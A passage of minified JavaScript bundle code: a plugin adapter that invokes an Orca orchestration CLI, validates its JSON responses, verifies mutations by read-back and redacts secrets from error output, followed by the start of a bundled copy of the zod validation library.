0),U0=_.object({id:_.string().min(1).max(256),ok:_.literal(!0),result:_.object({target:_.object({kind:_.literal("local")}).strict(),app:_.object({running:_.literal(!0),pid:_.number().int().positive(),desktopWindowStatus:_.enum(["available","unavailable"])}).strict(),runtime:_.object({state:_.literal("ready"),reachable:_.literal(!0),runtimeId:_.string().min(1).max(256),appVersion:_.string().regex(/^\d+\.\d+\.\d+(?:[-+].*)?$/),remoteUpdateSupport:_.object({installMode:_.string().min(1).max(128),automatic:_.boolean(),reason:_.string().min(1).max(256)}).strict(),capabilities:_.array(_.string().min(1).max(256)).max(256)}).strict(),graph:_.object({state:_.literal("ready")}).strict()}).strict(),_meta:_.object({runtimeId:_.string().min(1).max(256)}).strict()}).strict().refine(($)=>$.result.runtime.runtimeId===$._meta.runtimeId,"runtime identity mismatch");function H$($,W,H){return new E("ambiguous_after_possible_commit",$,W,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",H)}function S0($,W,H){let J;try{J=OW(W)}catch{if(H)throw H$($,"decode","stdout was not one JSON document");throw new E("malformed_json",$,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was not one JSON document")}let G=w0.safeParse(J);if(!G.success){if(H)throw H$($,"decode","stdout did not match the Orca envelope contract");throw new E("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract")}if(G.data.ok){if(!M0[$].safeParse(G.data.result).success){if(H)throw H$($,"receipt",`success result did not match the finite ${$} response contract`);throw new E("unexpected_response",$,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${$} response contract`)}}return G.data}function OW($){let W=[],H=!1,J=0;while(J<$.length){let G=$[J];if(G==='"'){let X=J;J+=1;while(J<$.length)if($[J]==="\\")J+=2;else if($[J]==='"')break;else J+=1;if(J>=$.length)throw Error("unterminated JSON string");if(H){let Q=JSON.parse($.slice(X,J+1)),q=W.at(-1);if(q===null||q===void 0||q.has(Q))throw Error("duplicate JSON key");q.add(Q),H=!1}}else if(G==="{")W.push(new Set),H=!0;else if(G==="[")W.push(null);else if(G==="}")W.pop();else if(G==="]")W.pop();else if(G===","&&W.at(-1)instanceof Set)H=!0;J+=1}return JSON.parse($)}var a$=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function t$($,W){return $==="check"&&typeof W==="object"&&W!==null&&"ack"in W}function b($){return $}function q$($,W){let H=b($)[W];return typeof H==="object"&&H!==null?b(H).id:void 0}function N0($,W){let H=b(W);if($==="run-create"||$==="run-use"){let G=H.runId??q$(H,"run");return typeof G==="string"?Object.freeze({runId:G}):Object.freeze({})}if($==="task-create"||$==="task-update"){let G=H.taskId??q$(H,"task");return typeof G==="string"?Object.freeze({taskId:G}):Object.freeze({})}return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[$]??[]).flatMap((G)=>typeof H[G]==="string"?[[G,H[G]]]:[])))}function L0($,W){if($.operation==="run-use"){let H=b(W),J=H.runId??q$(H,"run");return{operation:{operation:"run-current"},matches:(G)=>{let X=b(G),Q=b(X.run);return J===$.id&&Q.id===$.id}}}if($.operation==="gate-resolve"){let H=b(W);return{operation:{operation:"gate-list",task:$.task},matches:(J)=>{if(H.gateId!==$.id||H.taskId!==$.task)return!1;let G=b(J).gates;if(!Array.isArray(G))return!1;let X=G.map(b).filter((Q)=>Q.id===$.id);return X.length===1&&X[0].taskId===$.task&&X[0].status==="resolved"&&X[0].resolution===$.resolution}}}if($.operation==="worker-release"){let H=b(W);return{operation:{operation:"worker-show",dispatch:$.dispatch},matches:(J)=>{let G=b(b(J).dispatch);return H.dispatchId===$.dispatch&&G.id===$.dispatch&&["released","retained"].includes(String(G.terminalDisposition))}}}if($.operation==="run-create"){let H=b(W),J=H.runId??q$(H,"run");return{operation:{operation:"run-show",id:String(J)},matches:(G)=>{let X=b(b(G).run);return X.id===J&&X.objective===$.objective}}}if($.operation==="task-create"||$.operation==="task-update"){let H=b(W),J=H.taskId??q$(H,"task"),G=$.operation==="task-create"?J:$.id;return{operation:{operation:"task-list"},matches:(X)=>{if(J!==G)return!1;let Q=b(X).tasks;if(!Array.isArray(Q))return!1;let q=Q.map(b).filter((w)=>w.id===G);if(q.length!==1)return!1;let Y=q[0];if($.operation==="task-create"&&"run_id"in Y)return Y.spec===$.spec&&Y.task_title===($.title??$.spec)&&Y.deps===JSON.stringify($.deps??[])&&Y.parent_id===($.parent??null);return $.operation==="task-create"?Y.spec===$.spec&&Y.title===$.title&&JSON.stringify(Y.deps??[])===JSON.stringify($.deps??[])&&Y.parent===$.parent:Y.status===$.status&&(JSON.stringify(Y.result)===JSON.stringify($.result)||Y.result===JSON.stringify($.result))}}}if($.operation==="worker-start"){let H=b(W),J=H.dispatchId;return{operation:{operation:"worker-show",dispatch:String(J)},matches:(G)=>{let X=b(b(G).dispatch);return H.taskId===$.task&&X.id===J&&X.taskId===$.task&&X.agent===$.agent&&X.model===$.model&&X.effort===$.effort}}}if($.operation==="gate-create"){let H=b(W),J=H.gateId;return{operation:{operation:"gate-list",task:$.task},matches:(G)=>{let X=b(G).gates;if(!Array.isArray(X))return!1;if(H.taskId!==$.task)return!1;let Q=X.map(b).filter((Y)=>Y.id===J);if(Q.length!==1)return!1;let q=Q[0];return q?.taskId===$.task&&q.question===$.question&&JSON.stringify(q.options)===JSON.stringify($.options)}}}return}function R0($,W,H){let J=t$($,W),G=a$.has($)||J;if(H.outputLimited||H.transportLost){if(G)return H$($,"execute",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response");return RW($,H.outputLimited?"output_limit":"process_exit",H.outputLimited?"Orca output exceeded the adapter limit":"Orca transport closed before a valid response")}if(H.timedOut)return G?H$($,"execute","Orca did not finish before the deadline"):RW($,"timeout","Orca did not finish before the deadline");if(H.exitCode!==0){if(G)return new E("ambiguous_after_possible_commit",$,"execute","unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr);return new E("process_exit",$,"execute",G?"readback-required":"safe","Inspect Orca state and use the documented recovery operation.",`Orca exited with status ${H.exitCode??"signal"}`,H.stderr.slice(-4096))}return}function RW($,W,H){return new E(W,$,"execute","safe","Retry the read-only operation when Orca is healthy.",H)}function fW($={}){let W=Object.freeze({...$.env??process.env}),H=W0({platform:$.platform,managedTerminal:$.managedTerminal??W.TERM_PROGRAM==="Orca"}),J=$.executor??AW,G=$.timeoutMs??H0,X=$.now??(()=>new Date),Q=async(Y,w)=>{try{return await J({executable:H,argv:Y,shell:!1,timeoutMs:G,maxStdoutBytes:G0,maxStderrBytes:J0,env:W})}catch(D){throw new E("executable_unavailable",w,"resolve","safe","Verify that the deterministic Orca executable is installed and available, then retry.",D instanceof Error&&"code"in D?`Orca execution failed (${String(D.code)})`:"Orca execution failed")}},q=async(Y)=>{let w=SW(Y),D=await Q(w,Y.operation);D={...D,stderr:b0(D.stderr,Y,W)};let g=a$.has(Y.operation)||t$(Y.operation,Y),P=R0(Y.operation,Y,D);if(P!==void 0)throw P;let d=S0(Y.operation,D.stdout,g);if(!d.ok){let _$=WW(d.error?.message??"Orca returned an error envelope",Y,W);if(g)throw H$(Y.operation,"decode",_$);throw new E("unexpected_response",Y.operation,"decode",g?"readback-required":"safe","Follow the public Orca diagnostic and inspect state before retrying.",_$)}return d};return Object.freeze({executable:H,async status(){let Y=await Q(["status","--json"],"runtime");if(Y.outputLimited||Y.transportLost||Y.timedOut||Y.exitCode!==0)throw new E(Y.outputLimited?"output_limit":Y.timedOut?"timeout":"process_exit","runtime","execute","safe","Restore the public Orca runtime and retry the compatibility probe.","Orca status did not complete successfully");let w;try{w=OW(Y.stdout)}catch{throw new E("malformed_json","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status was not one JSON document")}let D=U0.safeParse(w);if(!D.success)throw new E("unexpected_response","runtime","decode","safe","Use a compatible Orca CLI version.","Orca status did not match the strict runtime compatibility contract");return D.data},async execute(Y){let w=EW.safeParse(Y);if(!w.success)throw SW(Y),Error("unreachable");let D=w.data,g=X().toISOString(),P=await q(D);if(!a$.has(D.operation)&&!t$(D.operation,D))return P;return D0(D,P,g,q,X,W)}})}async function D0($,W,H,J,G,X){z0($,W);let Q=L0($,W.result);if(Q!==void 0){let w;try{w=await J(Q.operation)}catch(D){throw V0($,Q.operation.operation,D,X)}if(!Q.matches(w.result))throw new E("readback_mismatch",$.operation,"readback","unsafe",`Inspect state with orchestration ${Q.operation.operation}; do not retry the mutation automatically.`,`${Q.operation.operation} disagreed with the mutation receipt`)}let q=W._meta,Y=Object.freeze({verb:$.operation,ids:N0($.operation,W.result),runtimeId:q.runtimeId,runtimeVersion:q.runtimeVersion??null,startedAt:H,completedAt:G().toISOString(),readbackVerb:Q?.operation.operation??null});return Object.freeze({...W,receipt:Y})}function V0($,W,H,J){if(!(H instanceof E))return new E("unexpected_response",$.operation,"readback","unrecoverably-ambiguous",`Inspect state with orchestration ${W}; do not retry the mutation automatically.`,`${W} failed after Orca returned a valid mutation receipt`);return new E(H.code,$.operation,"readback","readback-required",`Repeat or inspect orchestration ${W}; do not retry the mutation automatically.`,WW(`${W} failed after Orca returned a valid mutation receipt: ${H.message}`,$,J),H.stderr)}function z0($,W){if(W._meta?.runtimeId===void 0)throw H$($.operation,"receipt","mutation receipt omitted bounded runtime identity metadata");if(!K0($,W.result))throw new E("readback_mismatch",$.operation,"receipt","unsafe","Inspect the requested entity with its documented public read operation; do not retry automatically.","mutation receipt identity disagreed with the requested entity");if($.operation==="check"&&$.ack!==void 0&&b(W.result).acknowledged!==!0)throw H$($.operation,"receipt","check --ack success did not contain its matching delivery identifier");if($.operation==="run-use"&&"coordinatorTerminalHandle"in b(W.result)&&b(W.result).coordinatorTerminalHandle!==W._meta.invokingTerminal)throw new E("readback_mismatch",$.operation,"readback","unsafe","Inspect orchestration run-current; do not retry run-use automatically.","run-use terminal binding was not runtime-attested")}function K0($,W){let H=b(W);switch($.operation){case"run-use":return(H.runId??q$(H,"run"))===$.id;case"task-update":return(H.taskId??q$(H,"task"))===$.id;case"worker-start":return H.taskId===$.task;case"worker-release":return H.dispatchId===$.dispatch;case"reply":return H.messageId===$.id;case"ask":return $.resume===void 0||H.messageId===$.resume;case"check":return $.ack===void 0||H.deliveryId===$.ack;case"gate-create":return H.taskId===$.task;case"gate-resolve":return H.gateId===$.id&&H.taskId===$.task;default:return!0}}function b0($,W,H){return WW($,W,H)}function WW($,W,H){let J=[...$].filter((Y)=>{let w=Y.charCodeAt(0);return w===9||w===10||w===13||w>=32&&w!==127&&w<128||w>159}).join(""),G=e$(W),X=Object.entries(H).filter(([Y,w])=>w!==void 0&&/(?:TOKEN|SECRET|PASSWORD|PASS|KEY|CREDENTIAL|AUTH|COOKIE)/i.test(Y)).map(([,Y])=>Y),Q=Object.values(H).flatMap((Y)=>Y===void 0?[]:F0(Y));for(let Y of[...G,...X,...Q].filter((w)=>w.length>=3).sort((w,D)=>D.length-w.length))J=J.split(Y).join("[REDACTED]");let q=Buffer.from(J,"utf8");return q.length<=4096?J:Buffer.concat([Buffer.from("[truncated] "),q.subarray(q.length-4084)]).toString("utf8")}function F0($){try{let W=new URL($);if(W.password.length===0)return[];try{return[W.password,decodeURIComponent(W.password)]}catch{return[W.password]}}catch{return[]}}function e$($){if(typeof $==="string")return[$];if(Array.isArray($))return $.flatMap(e$);if(typeof $==="object"&&$!==null)return Object.values($).flatMap(e$);return[]}function u$(){return fW()}var J1=Object.freeze({createAdapter:fW,spawnOrcaProcess:AW});var E0="1.4.192",CW="orchestration.contract.v1";function vW($){return new E("unsupported_environment","runtime","resolve","safe","Run this plugin in a supported Orca host with the public orchestration contract and child-process access.",$)}function PW($){let W=/^(\d+)\.(\d+)\.(\d+)(?:[-+].*)?$/.exec($);if(W===null)return;return W.slice(1).map(Number)}function A0($,W){let H=PW($),J=PW(W);if(H===void 0||J===void 0)return!1;for(let G=0;G<3;G+=1)if(H[G]!==J[G])return H[G]>J[G];return!0}async function IW($){try{let W=await $.status(),H=W.result.runtime.runtimeId,J=W.result.runtime.appVersion;if(!A0(J,E0)||!W.result.runtime.capabilities.includes(CW))throw vW("Orca runtime version or orchestration contract is outside the supported range.");return Object.freeze({runtimeId:H,runtimeVersion:J,contract:CW})}catch(W){if(W instanceof E&&W.code==="unsupported_environment")throw W;throw vW("The Orca compatibility probe could not complete through the public adapter.")}}function kW($=u$()){return Object.freeze({probe:()=>IW($),async execute(W){return await IW($),$.execute(W)}})}var O0="genie.orca.run-list";function f0($=u$()){let W=kW($);return async(H)=>{H.commands.register(O0,()=>W.execute({operation:"run-list",limit:100}))}}var B1=f0();export{B1 as default,f0 as createOrcaPluginEntrypoint,O0 as ORCA_RUN_LIST_COMMAND}; +var Vt=Object.defineProperty;var Pt=(t,e)=>{for(var r in e)Vt(t,r,{get:e[r],enumerable:!0})};import{spawn as Wr}from"node:child_process";var u={};Pt(u,{BRAND:()=>cr,DIRTY:()=>te,EMPTY_PATH:()=>zt,INVALID:()=>g,NEVER:()=>Fr,OK:()=>A,ParseStatus:()=>R,Schema:()=>x,ZodAny:()=>Y,ZodArray:()=>W,ZodBigInt:()=>ne,ZodBoolean:()=>se,ZodBranded:()=>Ce,ZodCatch:()=>he,ZodDate:()=>ae,ZodDefault:()=>me,ZodDiscriminatedUnion:()=>Ve,ZodEffects:()=>Z,ZodEnum:()=>fe,ZodError:()=>E,ZodFirstPartyTypeKind:()=>_,ZodFunction:()=>$e,ZodIntersection:()=>de,ZodIssueCode:()=>l,ZodLazy:()=>ue,ZodLiteral:()=>le,ZodMap:()=>Oe,ZodNaN:()=>Se,ZodNativeEnum:()=>pe,ZodNever:()=>L,ZodNull:()=>oe,ZodNullable:()=>q,ZodNumber:()=>re,ZodObject:()=>j,ZodOptional:()=>P,ZodParsedType:()=>p,ZodPipeline:()=>Ee,ZodPromise:()=>K,ZodReadonly:()=>ge,ZodRecord:()=>Pe,ZodSchema:()=>x,ZodSet:()=>Te,ZodString:()=>G,ZodSymbol:()=>be,ZodTransformer:()=>Z,ZodTuple:()=>B,ZodType:()=>x,ZodUndefined:()=>ie,ZodUnion:()=>ce,ZodUnknown:()=>F,ZodVoid:()=>we,addIssueToContext:()=>f,any:()=>yr,array:()=>kr,bigint:()=>fr,boolean:()=>pt,coerce:()=>Jr,custom:()=>ut,date:()=>pr,datetimeRegex:()=>ct,defaultErrorMap:()=>U,discriminatedUnion:()=>Tr,effect:()=>$r,enum:()=>Mr,function:()=>Er,getErrorMap:()=>ve,getParsedType:()=>D,instanceof:()=>ur,intersection:()=>Sr,isAborted:()=>Ne,isAsync:()=>xe,isDirty:()=>Me,isValid:()=>H,late:()=>dr,lazy:()=>jr,literal:()=>Nr,makeIssue:()=>Ae,map:()=>Ar,nan:()=>lr,nativeEnum:()=>Vr,never:()=>vr,null:()=>gr,nullable:()=>Lr,number:()=>ft,object:()=>br,objectUtil:()=>Ue,oboolean:()=>Ur,onumber:()=>qr,optional:()=>Zr,ostring:()=>Br,pipeline:()=>Dr,preprocess:()=>zr,promise:()=>Pr,quotelessJson:()=>$t,record:()=>Rr,set:()=>Cr,setErrorMap:()=>Lt,strictObject:()=>wr,string:()=>lt,symbol:()=>mr,transformer:()=>$r,tuple:()=>Ir,undefined:()=>hr,union:()=>Or,unknown:()=>_r,util:()=>k,void:()=>xr});var k;(function(t){t.assertEqual=s=>{};function e(s){}t.assertIs=e;function r(s){throw new Error}t.assertNever=r,t.arrayToEnum=s=>{let a={};for(let i of s)a[i]=i;return a},t.getValidEnumValues=s=>{let a=t.objectKeys(s).filter(o=>typeof s[s[o]]!="number"),i={};for(let o of a)i[o]=s[o];return t.objectValues(i)},t.objectValues=s=>t.objectKeys(s).map(function(a){return s[a]}),t.objectKeys=typeof Object.keys=="function"?s=>Object.keys(s):s=>{let a=[];for(let i in s)Object.prototype.hasOwnProperty.call(s,i)&&a.push(i);return a},t.find=(s,a)=>{for(let i of s)if(a(i))return i},t.isInteger=typeof Number.isInteger=="function"?s=>Number.isInteger(s):s=>typeof s=="number"&&Number.isFinite(s)&&Math.floor(s)===s;function n(s,a=" | "){return s.map(i=>typeof i=="string"?`'${i}'`:i).join(a)}t.joinValues=n,t.jsonStringifyReplacer=(s,a)=>typeof a=="bigint"?a.toString():a})(k||(k={}));var Ue;(function(t){t.mergeShapes=(e,r)=>({...e,...r})})(Ue||(Ue={}));var p=k.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),D=t=>{switch(typeof t){case"undefined":return p.undefined;case"string":return p.string;case"number":return Number.isNaN(t)?p.nan:p.number;case"boolean":return p.boolean;case"function":return p.function;case"bigint":return p.bigint;case"symbol":return p.symbol;case"object":return Array.isArray(t)?p.array:t===null?p.null:t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?p.promise:typeof Map<"u"&&t instanceof Map?p.map:typeof Set<"u"&&t instanceof Set?p.set:typeof Date<"u"&&t instanceof Date?p.date:p.object;default:return p.unknown}};var l=k.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),$t=t=>JSON.stringify(t,null,2).replace(/"([^"]+)":/g,"$1:"),E=class t extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=n=>{this.issues=[...this.issues,n]},this.addIssues=(n=[])=>{this.issues=[...this.issues,...n]};let r=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,r):this.__proto__=r,this.name="ZodError",this.issues=e}format(e){let r=e||function(a){return a.message},n={_errors:[]},s=a=>{for(let i of a.issues)if(i.code==="invalid_union")i.unionErrors.map(s);else if(i.code==="invalid_return_type")s(i.returnTypeError);else if(i.code==="invalid_arguments")s(i.argumentsError);else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;c<i.path.length;){let d=i.path[c];c===i.path.length-1?(o[d]=o[d]||{_errors:[]},o[d]._errors.push(r(i))):o[d]=o[d]||{_errors:[]},o=o[d],c++}}};return s(this),n}static assert(e){if(!(e instanceof t))throw new Error(`Not a ZodError: ${e}`)}toString(){return this.message}get message(){return JSON.stringify(this.issues,k.jsonStringifyReplacer,2)}get isEmpty(){return this.issues.length===0}flatten(e=r=>r.message){let r={},n=[];for(let s of this.issues)if(s.path.length>0){let a=s.path[0];r[a]=r[a]||[],r[a].push(e(s))}else n.push(e(s));return{formErrors:n,fieldErrors:r}}get formErrors(){return this.flatten()}};E.create=t=>new E(t);var Zt=(t,e)=>{let r;switch(t.code){case l.invalid_type:t.received===p.undefined?r="Required":r=`Expected ${t.expected}, received ${t.received}`;break;case l.invalid_literal:r=`Invalid literal value, expected ${JSON.stringify(t.expected,k.jsonStringifyReplacer)}`;break;case l.unrecognized_keys:r=`Unrecognized key(s) in object: ${k.joinValues(t.keys,", ")}`;break;case l.invalid_union:r="Invalid input";break;case l.invalid_union_discriminator:r=`Invalid discriminator value. Expected ${k.joinValues(t.options)}`;break;case l.invalid_enum_value:r=`Invalid enum value. Expected ${k.joinValues(t.options)}, received '${t.received}'`;break;case l.invalid_arguments:r="Invalid function arguments";break;case l.invalid_return_type:r="Invalid function return type";break;case l.invalid_date:r="Invalid date";break;case l.invalid_string:typeof t.validation=="object"?"includes"in t.validation?(r=`Invalid input: must include "${t.validation.includes}"`,typeof t.validation.position=="number"&&(r=`${r} at one or more positions greater than or equal to ${t.validation.position}`)):"startsWith"in t.validation?r=`Invalid input: must start with "${t.validation.startsWith}"`:"endsWith"in t.validation?r=`Invalid input: must end with "${t.validation.endsWith}"`:k.assertNever(t.validation):t.validation!=="regex"?r=`Invalid ${t.validation}`:r="Invalid";break;case l.too_small:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at least":"more than"} ${t.minimum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at least":"over"} ${t.minimum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="bigint"?r=`Number must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${t.minimum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly equal to ":t.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(t.minimum))}`:r="Invalid input";break;case l.too_big:t.type==="array"?r=`Array must contain ${t.exact?"exactly":t.inclusive?"at most":"less than"} ${t.maximum} element(s)`:t.type==="string"?r=`String must contain ${t.exact?"exactly":t.inclusive?"at most":"under"} ${t.maximum} character(s)`:t.type==="number"?r=`Number must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="bigint"?r=`BigInt must be ${t.exact?"exactly":t.inclusive?"less than or equal to":"less than"} ${t.maximum}`:t.type==="date"?r=`Date must be ${t.exact?"exactly":t.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(t.maximum))}`:r="Invalid input";break;case l.custom:r="Invalid input";break;case l.invalid_intersection_types:r="Intersection results could not be merged";break;case l.not_multiple_of:r=`Number must be a multiple of ${t.multipleOf}`;break;case l.not_finite:r="Number must be finite";break;default:r=e.defaultError,k.assertNever(t)}return{message:r}},U=Zt;var nt=U;function Lt(t){nt=t}function ve(){return nt}var Ae=t=>{let{data:e,path:r,errorMaps:n,issueData:s}=t,a=[...r,...s.path||[]],i={...s,path:a};if(s.message!==void 0)return{...s,path:a,message:s.message};let o="",c=n.filter(d=>!!d).slice().reverse();for(let d of c)o=d(i,{data:e,defaultError:o}).message;return{...s,path:a,message:o}},zt=[];function f(t,e){let r=ve(),n=Ae({issueData:e,data:t.data,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,r,r===U?void 0:U].filter(s=>!!s)});t.common.issues.push(n)}var R=class t{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,r){let n=[];for(let s of r){if(s.status==="aborted")return g;s.status==="dirty"&&e.dirty(),n.push(s.value)}return{status:e.value,value:n}}static async mergeObjectAsync(e,r){let n=[];for(let s of r){let a=await s.key,i=await s.value;n.push({key:a,value:i})}return t.mergeObjectSync(e,n)}static mergeObjectSync(e,r){let n={};for(let s of r){let{key:a,value:i}=s;if(a.status==="aborted"||i.status==="aborted")return g;a.status==="dirty"&&e.dirty(),i.status==="dirty"&&e.dirty(),a.value!=="__proto__"&&(typeof i.value<"u"||s.alwaysSet)&&(n[a.value]=i.value)}return{status:e.value,value:n}}},g=Object.freeze({status:"aborted"}),te=t=>({status:"dirty",value:t}),A=t=>({status:"valid",value:t}),Ne=t=>t.status==="aborted",Me=t=>t.status==="dirty",H=t=>t.status==="valid",xe=t=>typeof Promise<"u"&&t instanceof Promise;var h;(function(t){t.errToObj=e=>typeof e=="string"?{message:e}:e||{},t.toString=e=>typeof e=="string"?e:e?.message})(h||(h={}));var $=class{constructor(e,r,n,s){this._cachedPath=[],this.parent=e,this.data=r,this._path=n,this._key=s}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},st=(t,e)=>{if(H(e))return{success:!0,data:e.value};if(!t.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let r=new E(t.common.issues);return this._error=r,this._error}}};function v(t){if(!t)return{};let{errorMap:e,invalid_type_error:r,required_error:n,description:s}=t;if(e&&(r||n))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:s}:{errorMap:(i,o)=>{let{message:c}=t;return i.code==="invalid_enum_value"?{message:c??o.defaultError}:typeof o.data>"u"?{message:c??n??o.defaultError}:i.code!=="invalid_type"?{message:o.defaultError}:{message:c??r??o.defaultError}},description:s}}var x=class{get description(){return this._def.description}_getType(e){return D(e.data)}_getOrReturnCtx(e,r){return r||{common:e.parent.common,data:e.data,parsedType:D(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new R,ctx:{common:e.parent.common,data:e.data,parsedType:D(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let r=this._parse(e);if(xe(r))throw new Error("Synchronous parse encountered promise.");return r}_parseAsync(e){let r=this._parse(e);return Promise.resolve(r)}parse(e,r){let n=this.safeParse(e,r);if(n.success)return n.data;throw n.error}safeParse(e,r){let n={common:{issues:[],async:r?.async??!1,contextualErrorMap:r?.errorMap},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:D(e)},s=this._parseSync({data:e,path:n.path,parent:n});return st(n,s)}"~validate"(e){let r={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:D(e)};if(!this["~standard"].async)try{let n=this._parseSync({data:e,path:[],parent:r});return H(n)?{value:n.value}:{issues:r.common.issues}}catch(n){n?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),r.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:r}).then(n=>H(n)?{value:n.value}:{issues:r.common.issues})}async parseAsync(e,r){let n=await this.safeParseAsync(e,r);if(n.success)return n.data;throw n.error}async safeParseAsync(e,r){let n={common:{issues:[],contextualErrorMap:r?.errorMap,async:!0},path:r?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:D(e)},s=this._parse({data:e,path:n.path,parent:n}),a=await(xe(s)?s:Promise.resolve(s));return st(n,a)}refine(e,r){let n=s=>typeof r=="string"||typeof r>"u"?{message:r}:typeof r=="function"?r(s):r;return this._refinement((s,a)=>{let i=e(s),o=()=>a.addIssue({code:l.custom,...n(s)});return typeof Promise<"u"&&i instanceof Promise?i.then(c=>c?!0:(o(),!1)):i?!0:(o(),!1)})}refinement(e,r){return this._refinement((n,s)=>e(n)?!0:(s.addIssue(typeof r=="function"?r(n,s):r),!1))}_refinement(e){return new Z({schema:this,typeName:_.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return this._refinement(e)}constructor(e){this.spa=this.safeParseAsync,this._def=e,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:r=>this["~validate"](r)}}optional(){return P.create(this,this._def)}nullable(){return q.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return W.create(this)}promise(){return K.create(this,this._def)}or(e){return ce.create([this,e],this._def)}and(e){return de.create(this,e,this._def)}transform(e){return new Z({...v(this._def),schema:this,typeName:_.ZodEffects,effect:{type:"transform",transform:e}})}default(e){let r=typeof e=="function"?e:()=>e;return new me({...v(this._def),innerType:this,defaultValue:r,typeName:_.ZodDefault})}brand(){return new Ce({typeName:_.ZodBranded,type:this,...v(this._def)})}catch(e){let r=typeof e=="function"?e:()=>e;return new he({...v(this._def),innerType:this,catchValue:r,typeName:_.ZodCatch})}describe(e){let r=this.constructor;return new r({...this._def,description:e})}pipe(e){return Ee.create(this,e)}readonly(){return ge.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return 